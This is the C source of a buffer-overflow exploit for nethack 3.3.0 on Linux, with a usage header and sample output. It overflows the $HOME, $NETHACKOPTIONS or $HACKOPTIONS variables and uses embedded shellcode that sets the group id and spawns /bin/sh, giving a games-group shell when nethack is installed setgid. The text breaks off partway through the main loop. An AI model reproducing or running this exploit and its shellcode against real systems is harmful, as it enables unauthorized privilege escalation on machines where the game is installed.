/* (linux)nethack[v3.3.0] buffer overflow, by v9[v9@fakehalo.org]. this will give you a gid=20(games) shell if nethack is sgid(=2755) via multiple overflows. nethack is setgid by install(binary versions uncompress setgid as well). syntax: ./nethack_bof [offset] [alignment] [gid]. example: ------------------------------------------------- # ./nethack_bof 1 1200 0 20 [ addr: 0xbffff370, type: 1($HOME), offset: 1200, align: 0, gid: 20. ] sh-2.03$ id uid=1006(v9) gid=20(games) groups=100(users) sh-2.03$ ------------------------------------------------- note: defined default arguments are built for the type#1 overflow. hack(s) for nethack -- you know it's ironic. :) url: http://www.nethack.org/ (update? whenever it's updated) tested: slackware 3.6/7.0. (gave gid=games) status: uninformed package maintainer. */ #define PATH "/usr/games/lib/nethackdir/nethack" // nethack path. #define DEFAULT_OFFSET 1200 // default offset. #define DEFAULT_ALIGN 0 // default alignment. #define DEFAULT_GID 20 // default group id. static char exec[]= "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x00\x31\xc0\xb0\x47\xcd\x80\x31\xdb" "\x31\xc9\xb3\x00\xb1\x00\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31" "\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x01"; long esp(void){__asm__("movl %esp,%eax");} int main(int argc,char **argv){ char bof[300],*typeset[3]={"$HOME","$NETHACKOPTIONS","$HACKOPTIONS"}; int i,j,k,type,offset,align,gid; long ret; printf("[ nethack[v3.3.0] buffer overflow, by: v9[v9@fakehalo.org]. ]\n"); if(argc>1){ if(atoi(argv[1])==1){type=1;j=300;k=175;} else if(atoi(argv[1])==2){type=2;j=250;k=150;} else if(atoi(argv[1])==3){type=3;j=250;k=150;} else{ printf("*** invalid argument type value: %s. (use 1-3)\n",argv[1]); exit(-1); } } else{ printf("*** syntax: %s [offset] [alignment] [gid].\n",argv[0]); printf("*** : 1-3, where 1=$HOME:2=$NETHACKOPTIONS:3=$HACKOPTIONS.\n"); printf("*** type#1: %s 1 1200 0 20 (usual working arguments[default arguments apply])\n",argv[0]); printf("*** type#2: %s 2 650 2 20 (usual working arguments)\n",argv[0]); printf("*** type#3: %s 3 650 2 20 (usual working arguments)\n",argv[0]); exit(-1); } if(argc>2){offset=atoi(argv[2]);} else{offset=DEFAULT_OFFSET;} if(argc>3){ if(atoi(argv[3])>3||atoi(argv[3])<0){ printf("*** ignored argument alignment value: %s. (use 0-3)\n",argv[3]); align=DEFAULT_ALIGN; } else{align=atoi(argv[3]);} } else{align=DEFAULT_ALIGN;} if(argc>4){ if(atoi(argv[4])<1||atoi(argv[4])>255){ printf("*** ignored argument gid value: %s. (use 1-255)\n",argv[4]); gid=DEFAULT_GID; } else{gid=atoi(argv[4]);} } else{gid=DEFAULT_GID;} ret=(esp()-offset); printf("[ addr: 0x%lx, type: %d(%s), offset: %d, align: %d, gid: %d. ]\n",ret,type,typeset[type-1],offset,align,gid); for(i=align;i